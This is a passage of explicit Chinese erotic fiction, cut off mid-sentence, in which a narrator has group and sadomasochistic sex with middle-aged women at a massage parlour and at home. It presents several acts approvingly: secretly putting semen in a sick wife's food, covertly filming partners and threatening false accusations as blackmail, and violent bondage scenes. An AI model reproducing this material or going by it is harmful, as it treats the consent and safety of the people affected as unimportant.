在呼天抢地淫叫声中传来老婆在睡房的骂声:“厨房里那俩牲口,打种啊?
妈的趁老娘动不了就吃偷嘴,有良心没?叫得杀猪样,我怎么休息?”
徐阿姨边挨操边回应:“哎哟这下来得狠,嗷……莫姐,妹给你……给你…
…呜……啊呕……给你炖补品来着,嗷……受不了,快用劲,要死了……材料都
准备好了,唉……吃了补品好了一起玩,哎哟畏,我不行了……”
我也不行了!随着徐阿姨高潮时阴道强烈的收缩,腰椎发麻,精液眼看就要
激射而出,突然间心里感到挺内疚,老婆还病在床上呢!
念头一闪而过,猛地一下我把阴茎拔出来,转身拿起案板上的炖盅,把体内
的精华大补之液全数喷洒在盅内一大堆药材补品上,也算是给老婆虚弱的身子增
加营养,略尽为夫之道吧!
吃过晚饭,眼看着老婆喝完精华浓缩的补品,向徐阿姨挤了下眼,就遛出家
门寻快活去了。
来到区文化宫,没费劲就找到柳大夫:一袭晚装式的黑长裙,V型的开领内
是一道深深的乳沟,胸前两粒乳头示威似的凸显在纱质的布料下;一对长衣袖却
是透明的,两腋下浓密的腋毛明摆着就是诱惑、性骚扰;双腿照例没穿丝袜,小
腿丰满结实、雪白得刺眼;脚上一双尖头黑色高根鞋令人联想起法国路易时代的
宫廷交际贵妇。
没有多余的废话交谈,随着音乐响起灯光暗下,我和柳大夫心照不宣地紧拥
着滑进了舞池。高大丰满的柳大夫主动地紧贴着我,硕大的乳房和肉感下身不停
往我身上磨蹭,而我本来搂着她肥腰的右手也不老实了,借着黑暗滑到宽大厚实
的屁股上。搓揉间却摸不到内裤的痕迹,这老骚货裙子里面竟然什么没穿?是真
空的!刹那间我发硬的肉棒已经向前顶在她赘肉突出的小肚上,手指顺势扣进她
屁眼沟里轻揉着。
她狡颉地一笑,圆润的嘴唇亲了我一下,咬着我耳朵喘息着轻声说:“就知
道你个小坏蛋不老实,你这种喜欢大龄老妇的小男孩我找很长时间了,遇上我你
甭想再蹦出我手心儿,我会让你快活的,让你这辈子舍不得离开我!我知道你是
玩老女人老手了,今儿晚带你尝个新玩意儿,包你欲仙欲死。得这会儿马上走,
不然待会儿被那些个老娘们缠上就脱不了身了。别吃着碗里看着锅里的贼溜溜四
处瞅,我手头上闹旱荒的娘们多的是,以后再介绍给你。”
她说完拽着我的手就在暗淡灯光掩护下溜出了舞厅,一边走一边给我介绍:
“不远,就在隔壁胡同里。都是些个下岗女工,四十好几的年纪,哪还能找到工
作?闲得无聊来参加我的跳舞训练班,看她们家里挺困难的,老公也赚不了几个
小钱,我就给出了个注意,免费教她们按摩。你知道我是妇科专家,当然对你们
男人的生理结构也了解,自创发明了一套办法,就围绕底下几个穴位按摩推拿,
引发起强烈的性欲望后,再在最后关键的时候冷却,不让高潮发生,等情绪稳定
后又重复刚才的步骤。反复多次的实施,能起到固精养气,增强性商值,提高身
体耐力的功效,男女同志都适用。但是干这个比较敏感,所以开业后也是半地下
的形式,知道的人不多,而且女同志思想观念比较落后,女客人很少。男同志嘛
你也知道,动手动脚的,我给员工下了死命令,定了铁规,绝对不能经她们的手
搞出一滴精液来!也不能让他们那东西放进她们身上的任何一个洞里!”
我听了非常惊讶:“这样搞能憋得住?就算能憋住也吃不消啊!”
“她们的绝活儿都是我亲自手把手传授的,绝对没问题,反倒是受不受得了
的问题。到最后大部分男同志等服务员走后就自己解决,或是干脆带着老婆、女
朋友一起来,受不了就自个弄事情,反正就不能碰我的员工!我还给这独家推拿
按摩法起了个名字-肾疗。”
说话间来到一处挂着“盲人专业按摩”招牌的楼房前,我会心地一笑,紧搂
着柳大夫的肥腰在服务员亲切的招呼声中拐进店子的内室。
按柳大夫的提议,为了增强神秘感和最后的强烈感,我们分开没在一起。我
单独在简陋的澡室里匆匆洗了一下,换好浴袍躺在按摩床上。所在的小房间里中
间拉设了一道布帘子,估计里面也是另一张按摩床吧。
正胡想着,一个穿戴整齐的中年妇女走近来,手上提着小竹篮子,里面是各
位熟悉的润滑油啦、小毛巾什么的。她放下东西后开始象征性地在我身上按摩起
来,并问一些在哪工作、贵姓等废话。接着撩开我的浴袍,在自己的双手和我疲
软的阴茎上涂满了厚厚的润滑液,开始搓揉按摩,龟头、冠状沟、马眼一处处仔
细地侍弄,最要命的是还在肛门会阴处几个部位上反复按揉,一边还很专业地给
介绍这是什么穴位,多按摩能产生什么功效……
妈的,还能产生什么功效?功效马上就来了!享受着中年妇女的手淫,没几
下射精的强烈感觉就被激发出来。
可能是感到阴茎突然涨硬,喘息声也突然加重,快速套弄的手立即停下,并
在肛门附近和大腿根轻柔地按了几下。还真他妈怪事儿,本来呼之欲出的强烈射
精感觉刹那间消失得无影无踪,并开始软下来。待我长长地叹了口气,刚松弛下
来时,成熟的纤手又不怀好意地动起来。
就这样我的阴茎在那双罪恶的魔爪下软了硬、硬了软地受着折磨,体内的那
股射精欲望却以几何级数递增着,但又偏偏不能如愿发泄,开始情不自禁地哀叫
呻吟起来,同时布帘后也传来阵阵消魂的女人哀鸣声。
逐渐我的思维变的模糊起来,只剩下要痛快喷射的强烈欲望。偶然在我一转
头间,发现那道布帘不知何时已拉开,那边的按摩床上躺着浑身赤裸的柳大夫,
另一个中年妇女正用同样的手法在折磨她。
我马上清醒过来,深吸一口气稳定了一下情绪,开始欣赏柳大夫的淫态。
只见柳大夫双手狠命地搓揉揪拽自己的乳房,两粒颜色漆黑、巨大挺立着的
乳头被自己的手指扯拉掐按得变了型,满是圆润赘肉的丰腰不停地两边摇摆,巨
大的屁股更是将一下一下地向上迎挺,又一下一下重重地打落在按摩床上,喉咙
里发出痛苦、欢娱的淫声秽语。最后可能已到达崩溃的边缘,一下子将两条丰满
雪白的玉臂高举过头紧抓着枕头,两丛浓密性感的腋毛一览无疑,整个下身连同
腰部死命往上抬起,象体操运动员的铁板桥动作一样,嘴里大喊着:“哎哟……
操……受不了我,李嫂求求你帮我弄出来吧,使劲弄死我吧!”
李嫂一下给她吓呆了,竟忘了给她按摩消除兴奋的穴道,条件反射地往后躲
开。
眼前怪异刺激的场面令我再也无法忍受了,我爬起来推开自己的服务员,两
步冲到柳大夫床边。就在准备狠操一顿欲肉大餐时,眼角闪过柳大夫浓密曲卷的
腋毛,一丝恶毒的念头油然升起。
我把意识模糊的柳大夫整个掀下床,用力把她摁跪在地上面对着我。拣起床
上的润滑油瓶子,提起柳大夫右骼膊,将润滑油涂抹在浓厚的腋毛上,然后把同
样粘满润滑液的粗硬阴茎放在腋毛上,把骼膊放下来夹住,再用我的左腿挤压,
接着就象操弄阴道一样疯狂地抽插起她的腋下。
这时柳大夫清醒过来,马上明白我的用意,更加用力地夹紧腋窝,同时左手
伸到自己的跨下疯狂地手淫起来。
我一手粗暴地拽着柳大夫头发以保持平衡,一手变态地揪拉她同样变态的长
乳头,眼睛却紧盯着她正被操弄的腋窝,那些浓密的腋毛被阴茎带得一出一入,
并从骼膊缝里冒出丝丝润滑油白沫。
柳大夫被发生在身上的事情刺激得淫声浪叫:“哇嗷……刺激,太刺激啦,
真他妈过瘾!老娘还没试过这种玩法,哎哟……哎哟……受不了!就知道你会玩
儿,你真会玩女人,天啊,来啦……”
由于有浓厚的腋毛增加了磨擦感,在如此刺激的声色攻势下,刚才就憋足了
劲的浓精怒射而出。同一时间柳大夫手淫也达到了高潮,浑身羊角风似的抽搐起
来,两眼死鱼似的地翻着白眼球,却不忘死命地抱紧骼肢窝以增强我的快感。
过了好一会儿,我无力地推开柳大夫,柳大夫软泥似的瘫软在地板上,张开
的骼肢窝上已经一塌糊涂,腋毛上糊满了冒着热气泡沫的精液和润滑液,正顺着
腋缝慢慢滴在地上。
此时身后传来若有若无的沉重呼吸声,我转头看时,原来李嫂和为我服务的
不知名的中年妇女竟然都是同一个姿势:靠着墙壁歪躺在地板上,右手从拉开的
裤中伸进裤裆里,而左手却都不约而同伸到右边骼肢窝里紧紧地夹着,同样翻着
白眼喘着粗气,看样子还在享受着手淫高潮后的余味。
我不反对她们偷窥我和柳大夫作爱来刺激手淫,但干嘛要抢我操骼肢窝的专
利发明呢?不行,得告她们去!
(二十)
极度强烈、新奇的刺激感过去后,随之而来的是全身虚脱的疲倦,我慢慢爬
上按摩床,也不管身上沾满的汗液、精液、淫液,倒头就伴随着浓重的喘息昏睡
过去。
等再次挣开眼睛时,已是第二天的中午,房间里早就只剩下我一个人。我蹒
跚地下了床披上浴袍,准备痛快地洗个澡。
在通往浴室的过道上,一个看似会议室的房间门半开着。探头一看,里面整
齐地排着两行队伍,大约有二十来人,都是些个四十至五十岁的中年妇女。
而柳大夫已经换上了整齐的套装,一副大公司行政管理人员的派头,正在队
伍前来回走动训话呢:“啊!总的营业情况还是好的,每位员工的表现也值得称
赞。我们是服务性行业,优质的服务代表着良好的经济效益,相信各位也深有体
会。但是!前段时间街道上有反映,说我们这个按摩所有搞不正之风的苗头。不
行啊,我的妇女同志们,创办这个按摩所不容易,你们都在里面流过血和汗啊!
再这样搞下去不成了卖淫嫖娼的场所啦?会出大问题的。我知道你们到了这个年
龄,有些出轨的行为也不全是为了钱,而是受不了一些臭男人的刺激诱惑。但你
们都是有家庭的人,人到中年还下了岗,现在有这么好的机会,重新走上工作岗
位,收入也增加了,要好好珍惜才对啊!”
这时一个纹着妖艳眉毛和眼线的中年女人举起手:“柳姐,我们也知道你的
一片苦心,但有时候真的没办法啊!你教的手法别说是那些男人,连我们也来情
绪。也不知道怎么地,来这干上后就老想那事儿。家里那位早就跟废了差不多,
一年半载的也轮不上一回,轮上了更惨,开汽水瓶盖儿似的”哧“一下就冒白沫
了。在这里消消火,也没额外收费,怎么说也不算卖吧。看那些臭男人要死要活
的样儿也挺可怜的,一举两得、各取所需嘛,姐妹们你说对不?”
一席话马上引来哄堂大笑,那些个老女人们纷纷点头赞同,吱吱歪歪的议论
开各自老公的性欲和自己的性苦恼。
柳大夫很领导地摆了摆手制止她们:“同志们,我搞了几十年的妇科工作,
情况都了解,中老年妇女的性欲是女人一生中的最高峰,我自己也深有体会,但
这是原则性的问题,是不能越雷池半步的。老伴儿不行了,就利用你们学到的招
式儿去改善性生活的质量嘛,再不然你们互相练习按摩手法的时候也可以解决性
欲的问题啊。人家带着女伴儿来的,受不了了弄起来是人家的事儿我们管不着,
但店里的规章制度是铁定的,绝对不能从你们手上搞出一滴精液来。自己受不了
也可以适当地以手淫方式解决,你看李嫂和张嫂就值得表扬,昨儿晚上我是专门
考察来着,不论怎么诱惑刺激的场面,她们都临危不乱。你们要好好向她们取取
经,以后就按既定的方针努力工作,创造更大的经济效益,好啦散会!”
在那群老莺们出来以前,我闪身溜进了浴室,痛快的洗了个欲后澡。
穿戴整齐回到原来的房间,柳大夫已经等在里面。
看我进来便一脸淫笑地靠过来,圆润的玉手爱怜地在我跨下掏弄着:“休息
好了吧我的小宝贝,刚才睡得象个胖猪似的。唔,现在还差点,待会儿大姐带你
去吃顿好的,补补身子,晚上再给松弛松弛,就又神气活现了,干个三、五场绝
对没问题,比喝红牛管用。妈的,这肉肠子就是好,女人离了它还真活不成。”
和刚才开会时一副道貌岸然、训斥员工的领导派头简直俩人似的。
等我收拾整齐,就挽着柳大夫的肥腰,人模狗样地在一众中老年女员工的指
指点点、低声议论下走出按摩楼,一点都看不出昨晚刚激烈地干过苟且之事。
一顿夹七夹八的温热大补晚餐后,坐上车第一次来到柳大夫独居的春巢。在
迈进房间大门的一刻,我那早已欲火荡漾的下腹猛地抽搐了一下,有那么一刹那
脑海里升起一股踏进淫窟、将要倍受糟蹋摧残的感觉。
柳大夫一个人独占着单位分配的一厅三室、近百平米的宽敞居所,客厅装修
得素雅整洁,倒是挺能配得上大医院名大夫的身份。墙上挂满了手写的字幅和水
墨画,看上去都有些功底,不过到底是医术高明还是淫术过人而得来的,就只有
柳大夫和上天才知道了。
回到自己的家里,柳大夫那股放荡的气息就不其然地散发出来,先是把束在
脑后大波浪卷发解开,同时把双脚上的高跟鞋以优雅的姿势踢掉(不是脱掉),
接着把身上的套装脱掉扔在一尘不染的柚木地板上,把别在套裙里的衬衣脚拉出
来,松开白衬衣最上面的两个纽扣,然后用手直接从衣服底下解开乳罩,拉出来
后甩到沙发上,一边拉开套裙侧边的拉链一边整个人斜躺在柔软的沙发上。
“小文,给姐倒杯冰水,浑身里外都渴死了,得降降温,哎,待会儿还得消
消火呢。”
等我端着水来到沙发旁,居高临下地递给她时,从敞开的衬衣领子里窥见一
对雪白的大馒头挑战似的半露着,前端两粒漆黑的乳头是我干弄过的女人中最粗
大的。
一双同样白得耀眼的丰满大腿卷曲在肥臀下,从敞开的裙子拉链里露出紫色
的内裤,却只是一条小布带。妈的!这老骚货居然就这么穿着丁字裤上大街。
此情诱惑,下体已不其然地发涨起来,裤挡处马上自发地搭起一座质量挺不
错的小帐篷来。
“馋嘴啦,小色狼?”柳大夫边说边用空着的手拉开帐篷上的拉链,性感的
声音略现沙哑,这种环境下更显情欲诱惑,“哎,你们男人没一个例外,一进我
房间都这德行。”
随着束缚的解除,坚硬的肉棍从裤裆开口处劲弹而出,被一苹温暖圆润的手
掌恣态地搓揉,但随即又进入一个冰凉湿滑的境地,原来是柳大夫刚喝过冰水的
嘴巴。
在冷热交替的侍弄下,阴茎在短短几秒钟内已坚硬膨胀至极点,底下传来一
声哀怨满足的呻吟声,“哦!年轻的鸡巴就是好,不象以前那些中老头子,老半
天还软不溜湫的。不过老娘也不是这么糊弄的,走,咱娘俩比划比划去。”
说着站起来放下水杯,重新穿上那双性感的高跟鞋,并在沙发缝里翻出一条
蝴蝶领结,系在我的光脖子上,然后竟拽着我的阴茎牵牛似的把我拖进其中一个
房间。
房灯打亮后,我置身在一间空荡荡的房间里!是的,确实空荡荡连一张椅子
都没有,除了镶嵌在四面墙壁上的落地镜子,地上是光滑的柚木地板。
柳大夫不理我的惊讶,在墙上某个地方按弄了几下,马上传来一阵节奏顿挫
的音乐,灯光也开始明暗变幻,原来天花板上垂吊着一系列的音箱和射灯。
柳大夫看着我目瞪口呆的样子,边和着音乐的节拍扭动丰满的身子,边一件
一件的往下脱衣服:“别楞在那儿,脱啊!你不是想学跳舞吗,大姐这就教你,
保管你印象深刻,一学就会!”
我傻子似的也跟着一件件往下脱,一会儿工夫俩人就在音乐中变成光溜溜一
对肉虫,除了柳大夫双脚上的高跟鞋和我光脖子上蝴蝶结!
这时从头顶传来的是探戈的音乐,但背景声中却夹杂着阵阵令人血脉沸腾的
女人呻吟哀鸣声,显然是特别录制的。加上在迷幻的灯光下舞动的丰满成熟的裸
体,我的情欲被挑至最高点,黑亮的龟头眼竟流出一串晶莹滑溜的液体。
柳大夫随着淫秽的乐声两个滑步来到跟前,整个身子贴我的胸脯慢慢滑下去,
张开圆润的嘴巴舔弄着怒气冲天的肉棍。
我刚想抱着她的头挺动下体,她却又一下站起来,一个优美的旋转动作转到
我身后,从后面紧紧地抱着我。一双硕大柔软的乳房紧贴着我后背磨蹭,双手绕
到前面用力地套弄着阴茎和两颗肉弹。
我不由自主地也扭动起来,屁股感觉到后面那把大毛刷上已经潮水暗涌,我
双手也往后用力地抚摩柳大夫宽大肉感的屁股。
柳大夫马上受不了了,把头搭在我肩膀上,喘着粗气在我耳边梦呓:“你不
用动作,姐这就给你刺激,让你快活!”
说完使劲在阴茎上搓揉了几下,猛的一个转身,重又绕到我面前。她一苹手
紧握着我的手掌往后滑开,等距离刚好是我们两人手臂完全伸直时一个停顿,然
后一丝不挂的丰满裸体随着音乐扭动起来,做出各种淫秽诱人的动作,同时另一
苹手在自己多毛的下体抽插了几下,接着在一个强劲的节拍下飞快地旋转着向我
靠过来。
“啊!!”
“哎哟!!”
音乐声中同时响起我和柳大夫的呻吟尖叫。
刹那间我明白柳大夫的用意了,在跳舞中作爱性交!因为此时我坚硬的肉棍
在刚才柳大夫急速的旋转靠近动作中已深深地插入了她湿滑多毛的阴道中。
这老骚货真他妈有创意,真他奶奶会玩!!我立刻也疯狂地前后左右挺动着
下身,双手更是胡乱残忍地揉捏着眼前的豪乳。
可没等我过几下瘾,柳大夫又猛一下离开我旋转开了。
这是怎样的一副光景啊:在一个四面都是镜子而且响切着淫秽音乐的房间里,
一个浑身上下只带着个小蝴蝶结的赤裸小伙儿,傻呼呼地挺着坚硬的鸡巴站在房
中央扭动着光屁股;一位60多岁的退休老妇同样脱得一丝不挂,只在脚上穿了
双性感的高跟鞋,身上硕大下垂的乳房、赘肉横生的小腹和腰身、宽大丰满的成
熟屁股全都一览无馀,正以各种优美的舞蹈姿势围绕着那根硬得发涨的阴茎穿梭
跳跃;并时而贴近用已经洪水泛滥的阴道套弄抽夹;时而跪蹲在地上张嘴撩拨那
沾满自己白糊糊淫水的大龟头,时而更是把一双丰满成熟的大腿完全钩挂在对方
腰身上左右撕磨,还不时随着音响中传来不同的乐曲,熟练而优美地变更着舞种
:探戈、伦巴、华尔兹、水兵、牛仔……等等。
当响起“恰恰”那强烈而富节奏感的乐曲时,赤裸的柳大夫双臂高举过头,
双手拇指和中指同时打着“哒哒”的响指,圆润丰满的肥腰和屁股随着大大叉开
的双腿疯狂地扭动着,两腋下那浓密曲卷的腋毛把我的强烈欲火推至最高点。
我“哇”地怪叫一声,象一条暴怒的公牛似的冲向前,一个小擒拿勾腿把她
掀翻在地板上:“你这老骚货、狐狸精!勾引男人的臭婊子,我操死你!”
接着就疯狂地插弄起来。
柳大夫这会儿也豁出老命的样子,一边惊天动地地嚎叫,一边在地板上剧烈
挣扎翻滚,用现代舞的动作招试猛烈性交起来。
也不知过了多长时间,柳大夫翻动成侧卧的姿势,我则斜歪着身子骑在她重
叠的两条丰满大腿上,坚硬如铁的阴茎深深地插入已经冒着粘稠白沫的阴道里。
而她突然利用好得吓人的柔韧性,居然把一条腿曲伸到我屁股后面,涂着鲜
红指甲油的大脚拇指一下按捅进我的屁眼里!
我一没见过世面的乡下小伙儿能受得了这刺激吗?
“哇呕……”随着腰椎的一阵酥麻和一声鬼哭狼嚎,体内那点可怜的存货悉
数激射而出,同时我张嘴死命地咬着柳大夫硕大挺立的漆黑乳头,双手更是残忍
地揪扯着她浓密性感的腋毛。
“你操死我吧!不活啦!呜……呜!!”柳大夫也无可避免地在同一时间高
声尖叫着进入强烈的高潮。
当脑内的混沌感开始回复清醒时,房间内的音乐适时地变成一丝丝若有若无
的低声浅吟,夹杂着我们浓重的喘息鼻音。
柳大夫睁开雾一样的媚眼,温柔地抚摩着我汗津津的脸庞:“怎么样小文,
老姐的活儿还行吧?你也够厉害的,居然能坚持到整盘音乐结束。以前那些臭男
人半个舞曲没放完就缴械投降一败涂地了,从来没象今趟这样痛快淋漓。妈的!
姐这辈子把你缠定了,甭想甩开我。以后再不让带棒的碰我了,姐是你一人儿的。
我知道你爱玩老女人、爱玩性虐,只要你不踹了我,你有多少女人都无所谓,我
还会带些老姐妹陪你,啊!”
听着如此感人的表白,我激动得热泪盈眶,爱怜地把香汗淋漓的柳大夫抱进
卫生间,亲自侍侯她洗澡。其间好奇地问:“你老提起以前臭男人怎么怎么地,
究竟有多少臭男人享受过你的绝活儿?”
柳大夫看出我不是妒忌,就在我怀里撒着娇:“小心肝,姐以后整个人都是
你的了,你爱怎么侍弄折腾都随你,还管那些个老狗干吗?不过倒可以让你欣赏
欣赏他们的丑态。在那小房间的天花板四个角落上,我都安装了电脑的摄像头,
一人寂寞难耐时放着看可过瘾,包括刚才你的出色表演也收录了!看你敢把我踹
了,惹急了我给报派出所,就说你耍流氓,强迫国家干部作淫秽表演,反正我的
老脸早就不要了。”
这还真激起我强烈的好奇心,三两下冲干净两人身上的浴液沫,胡乱擦干净
身体,马上押着柳大夫来到睡房的电脑前。
电脑打开后发现储存在里面的影像资料占了存储的绝大部分,除去刚才我们
自己的精彩表演外,都是一大段一大段柳大夫和各种男人的艳舞性交场面。影像
资料大概共有十二、三个吧,大部分都是四、五十岁的中年男人,其中搀杂两三
个年纪和我差不多的小白脸。
柳大夫所言不虚,那些中老头子在如此刺激另类的激战下几个回合就败下阵
来,没一个是坚持住一完整的舞曲的。
更有一位满头白发的具学者风度的竟然哮喘发作,光着骨瘦如柴的身子在地
板上抽搐,吓得同样光屁股的柳大夫慌乱找药救治。
那体壮如牛的小伙儿也好不到哪里去,徒具刚强外表,被柳大夫套弄、搓揉
没几下,一条白柱就从那挺立的肉棍激射而出,恨得情欲高涨的柳大夫操爹骂娘。
还有几个画面段落是柳大夫独自一人穿着性感睡衣躺在大床上,边欣赏电脑
里的淫秽画面边用各种性具自慰的场面。
当晚和接下来的两天时间,我和柳大夫就没踏出过家门半步,就着所有舞曲
把世界上叫得出名的舞蹈都跳了个遍,累了就相拥在大床上欣赏电脑影像,两人
身上一刻都没沾过半丝布片。
第三天早上,我偶然翻弄衣服时,才发现手机上已显示有二十来个未接来电,
都是家里、老婆和徐阿姨的。糟了,原来我手机一直处于震动接受状态,根本就
不知道她们在找我!
我马上拨通徐阿姨的电话。
“哇!要死啦你。满世界找你好几天了,电话光响又不回,急了我真给派出
所报失踪人口去!快坦白,跟那老狐狸精哪儿灭虫去了?”电话刚接通,话筒里
马上传来徐阿姨气急败坏的叫骂声,“赶快给我滚回来你个狗东西!家里那口子
老骚货休养两天消了肿,正吵着要弄事情,寻你不着就拿我开唰!”
“哎呀徐姨,别给我拣了便宜卖乖,你不也落个开心满足?再给顶两天,我
这边正快活呢,那柳大夫可真是个中极品尤物,耍的花式能让你上天堂下地狱,
到时候把她带回家让你开开眼界。”
“还到时候你这小王八!赶紧给我回!姨有好东西送你。特意为你找了个奇
女子,不但是个重度受虐狂患者,最难得的同时还是位施虐狂。放心,她只喜欢
性虐老女人,那股子狠劲保管你试过目瞪口呆舍不得放手。柳大夫那边没过够瘾
就带她一起回,妈的,让老娘也见识见识过把瘾。”
电话挂上后寻思着徐阿姨的话,下面又开始蠢蠢欲动了。有时候连自己都讨
厌自己,一说到女人、变态什么的就把持不住,差点老娘是谁都忘一干净,他妈
的!!
以军人的速度在半小时内梳洗收拾好后,拉着柳大夫就一溜烟往家里赶。后
脚跟还没迈进家门,迎面就是老婆河东狮吼般劈头盖脑的叫骂声。
柳大夫看见自己心爱的男人遭骂,马上挡在我身前:“哎哟我的莫姐,发这
么大脾气伤身子呐。你可别辜负小文一片孝心,他知道你年纪大缺少锻炼,硬着
头皮求我教他跳舞,说是给你个惊喜,练好了舞术陪你潇洒潇洒。这不?缠着我
一刻没停练了三天,我家里所有的舞曲都给他反反复复跳了个够,可把我们两人
累坏了,你说是不小文?”
我没敢接话茬,把老婆大人拉一旁:“行了我的皇太后,真人不说假话,这
几天跟这老骚货可学到绝活儿了,你以为我只顾自己快活?好不容易才把她给请
回来的,让你也尝尝鲜!那滋味!诶,对了,徐姨跑哪去了?”
“就知道你不是省油的灯,离了老女人你能活?待会儿比划开没点新意小心
你的牛牛!那老骚货一大早就跑没影儿了,说是找了件极品等你回来一起享受。
到现连毛也没见一根,也不知哪儿找公狗寻快活去了。要不咱娘仨先弄弄解解谗?
快去准备准备。”说着转身亲热的掺扶着柳大夫的玉臂往里屋走,房间里马上传
来俩老女人兴奋、理解的说笑声。
接下来的时光,柳大夫和我对老婆大人先后施展了神奇的按摩术和精湛的舞
蹈表演,直把个淫荡的老妇弄得欲火冲天、淫水横流,光秃秃地躺在床上直呼过
瘾。
我玩得性起,一把揪着老婆的阴毛使劲往刑房里拖,一边对柳大夫招呼:
“今儿个让你欣赏真实刺激的夫妻生活,睡房的桌子上有录像机,拿过来拍个现
场直播,你也学习考察一下!”
等一切准备妥当,我已经把一丝不挂的老婆双手、双脚绑在背后,正用铁链
往刑房天花板上的铁钩上挂,这可是老婆大人最最喜欢的性虐姿势。
柳大夫边拍摄录影边兴奋地叫嚷:“哎唷,妈诶!这就是性虐待!我终于看
到了。真刺激!待会儿我也给试试。”
随着我驾轻就熟地挥舞皮鞭尽情性虐吊挂在半空的老婆,房间内充满了夹杂
着痛苦和欢娱的呻吟尖叫声。
就在这时,房间的门打开了,失踪了老半天的徐阿姨走了进来,身后紧跟着
一个穿黑色皮大衣,头上带着黑色皮头罩的女人。不!是被徐阿姨手上的狗链条
牵进来的。
刹那间房间里的空气凝固了,包括被吊挂在半空的老婆大人在内,我们三个
人的眼睛马上转向徐阿姨身后的黑衣女人。
对眼前的一切徐阿姨已是见怪不怪外,那陌生蒙面的女人看到眼前刺激怪异
的场面,整个身体竞在微微地颤抖,同时发出浓重的喘息鼻音和含糊不清的哀鸣
声。仔细看才发现原来在皮头套上还给栓了个嘴嚼子,肯定也是徐阿姨的杰作。
“妈的真是发情公狗母马,老娘还没回来就玩儿开了!亏我还给你们带好耍
的,也好,身子热了还省得时间调动情绪!来,你这贱货,我们的小帅哥就在眼
前,喜欢享受什么招试就说,保管你下贱个痛快!”徐阿姨一边把神秘女郎往前
推一边忙不急待地动手脱身上的衣服。
蒙面女人来到我跟前,定了魔法般凝视着我一丝不挂的裸体,从头罩的两个
眼洞里,一双漆黑的媚眼竟然起了雾一样的迷蒙,象能直透我的心底,引的我躁
动的心灵扑扑直跳。
女郎看了我好一会儿,居然扭转身子,慢慢走向还在半空中打着转的老婆大,
对着被吊挂在空中的裸体老妇女面前同样凝视了好半天。裹在长及小腿的黑皮大
衣里的身子更加剧烈的颤抖,含糊不清的喘息越发浓重。
突然间她扬起双手,“啪啪啪啪”居然左右开弓在老婆两边老脸上给了四个
响亮的巴掌,老婆立马杀猪般叫唤起来。
我被眼前的举动惊呆了,不过马上醒悟过来,记得徐阿姨在电话里交代过,
此人是双重性虐者,不但喜欢被男人性虐,更喜欢性虐老女人。想必是打算在我
老婆身上过足瘾才来享受我的肉体,这骚货不愧是同好中的极品。
我马上搂着柳大夫丰满的裸体靠坐在沙发上,准备欣赏刺激的好戏。
蒙面女人听到老婆的尖叫,低头四处找了找,从乱地摆放在地板上的几堆
性具中拿起一马嚼子,熟练地勒在老婆的嘴巴里,尖叫声马上变成“呜呜”的哀
鸣声。
然后挑了根粗黑的大皮鞭,照着老婆那身成熟丰满肥肉没头没脑地抽起来。
接下来的一个多小时内,蒙面女人在老婆身上使尽了我所能想到性虐手段,
把个吊在房墚上的老婆刺激的疯狂挣扎、在半空中打着圈儿左右摇晃,从冒着白
沫的肥厚下体里滴流出来的淫液,把下面那块地板搞得晶莹湿亮。
而我和柳大夫早已按耐不住,在沙发上大干起来。柳大夫刺激得大声嚷着要
以身试法,尝尝滋味儿!
那厢边徐阿姨早把全身衣服脱了个精光,却在浓毛密布的跨下穿了个皮内裤,
前端一个黑色的粗大假阳具张牙舞爪地呈45度向上挺立着,上面还涂满了润滑
液。
她走到女郎身后,粗鲁地将皮大衣扯下来。天!只见里面穿了件由好几条皮
带组合成的性虐内衣,所谓的乳罩只是两个带子绕成的大窟窿。
底下系着一条贞操裤,从已经湿漉漉的缝隙里可以窥见前后的肉洞都被连在
贞操带上的假阴茎和肛门塞填塞着。
而雪白丰满的身体、特别是圆润成熟的大屁股上,布满了纵横交错的淤黑色
鞭痕,估计已有些日子了。
徐阿姨这时正忙着帮女郎把老婆大人从房顶的铁钩上放下来,然后用钥匙打
开女郎贞操带上的铜锁。女郎则忙着用另外系在房顶上的粗绳索重新捆接老婆翻
绑在背后的绳头,这根长长的粗绳索是连接固定在天花板上一个活动滑轮上的。
我正奇怪她们俩人在捣什么鬼把戏,只见徐阿姨躺倒在粘满老婆黏液的地板
上,向空中挺立着粗黑的假阴茎。
而女郎则拔出插在阴道中的那根同样粗黑的阳具,用非常粗暴的动作捅进老
婆的肛门里,双手拉紧绳索,利用自己身体的重量往下拉,一百多斤重的肥胖老
妇人立时被拉向半空。
女郎随即又猛地半站起来,而被捆得死猪样的老婆在无可挣扎的情况下整个
往下跌沈,竟正好落在底下仰躺着的徐阿姨身上。
由于老婆大人刚才受了连续的性虐刺激,阴道里早已洪水泛滥一塌糊涂,而
徐阿姨的假阴茎上又涂满了厚厚一层润滑液,所以“噗滋”的一下闷响,老婆大
张的阴道准确麻利地套在假阴茎上。接着女郎一再重复上述的动作。
看着眼前活生生的空中性交虐待场面,我实在受不了,一下推开同样目瞪口
呆的柳大夫,挺着坚硬的肉棍冲到女郎的身后,一声低吼把阴茎连根捅进她滴着
乳白淫液的阴道中疯狂地抽插起来。
随着我动作的加快,女郎手上拉紧放送绳索的动作也开始不断加快,老婆大
人整个胖猪似的裸体也急速上下盖套在假阴茎上。
徐阿姨更心血来潮,当老婆下坠时竟张开嘴巴狠咬她的大乳头,直把个老婆
大人刺激得浑身乱颤。我看着也用力拍打女郎的肥厚屁股,算时现场为老婆报了
仇!
就在此时,我听见女郎被堵塞的嘴巴里发出一连串含糊不清的喃声。
我把勒着她的马嚼子皮带松开,马上传来女郎的叫骂声:“我墩死你这不要
脸的老母狗,害人精!世上的男人都让你操完了还不嫌够,妈的!老骚货,前辈
子婊子没当够。阿唷……嗷!!!亲爱的,我想死你啦,好久没给阴茎操过了。
喔……喔……把我操死,我也是贱货,你把我弄死吧!哎哟……哎哟……他妈的,
都是你这害人精,我墩死你,墩死你!妈呀,我的亲妈呀!你这老不死的贱人、
荡妇!抢人老公的狐狸精!都是你给害的,诶唷!我给你拼了!!”
猛地一下,女郎手中的绳索完全松开,随着老婆“啪”的一声重响,重重地
跌落在徐阿姨身上,假阴茎理所当然地深深捅进了阴道深处,而同时女郎的阴道
里起了一阵异常猛烈的收缩,竟然紧紧夹着我的阴茎不放,活生生地把扯拉着一
同扑到在老婆光裸的肥背上。
而更加意想不到的情形就在这时发生了。被三条肉虫重压在最下面的徐阿姨
艰难地伸出手,揭开神秘女郎从进房间以来就一直套得严严实实的头罩:“小文,
看!姨给你带什么好东西?”
随着徐阿姨话语,神秘女郎失神迷惘地转过头。
“天啊!老婆!!”
对!在我眼前正被我的阴茎干弄着,先前还现场表演了性虐的女人,竟然是
